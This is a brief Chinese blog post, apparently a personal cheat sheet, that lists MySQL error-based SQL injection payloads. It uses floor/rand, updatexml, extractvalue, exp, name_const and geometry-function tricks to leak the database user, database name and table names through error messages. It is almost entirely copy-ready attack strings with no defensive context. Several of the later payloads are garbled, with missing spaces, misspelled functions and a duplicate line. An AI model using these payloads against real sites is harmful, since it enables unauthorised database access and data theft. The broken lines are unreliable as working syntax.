报错注入语句
常用的三个报错注入语句:
floor报错
and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
union select count(*),1,concat((select table_name from information_schema.tables where table_schema = '数据库名' limit 1,1),floor(rand(0)*2))as a from information_schema.tables group by a --+
updatexml报错
and (updatexml(1,concat(0x7e,(select user()),0x7e),1))--+
and (updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='数据库名'),0x7e),1)) --+
extractvalue报错
and (extractvalue(1,concat(0x7e,(select database()),0x7e)))--+
?id=1' and extractvalue(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema='数据库名'))) --+
其他报错注入语句:
exp and exp(~(select * from (select user () ) a) );
join select * from(select * from mysql.user ajoin mysql.user b)c;
name_const and exists(selectfrom (selectfrom(selectname_const(@@version,0))a join (select name_const(@@version,0))b)c);
GeometryCollection() and GeometryCollection(()select *from(select user () )a)b );
polygon () and polygon (()select * from(select user ())a)b );
multipoint () and multipoint (()select * from(select user() )a)b );
multlinestring () and multlinestring (()select * from(selectuser () )a)b );
multlinestring () and multpolygon (()select * from(selectuser () )a)b );
multlinestring () and multpolygon (()select * from(selectuser () )a)b );
linestring () and linestring (()select * from(select user() )a)b );
本文作者:juejuezi
本文链接:https://www.cnblogs.com/juejuezi/p/17016481.html
版权声明:本作品采用知识共享署名-非商业性使用-禁止演绎 2.5 中国大陆许可协议进行许可。
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步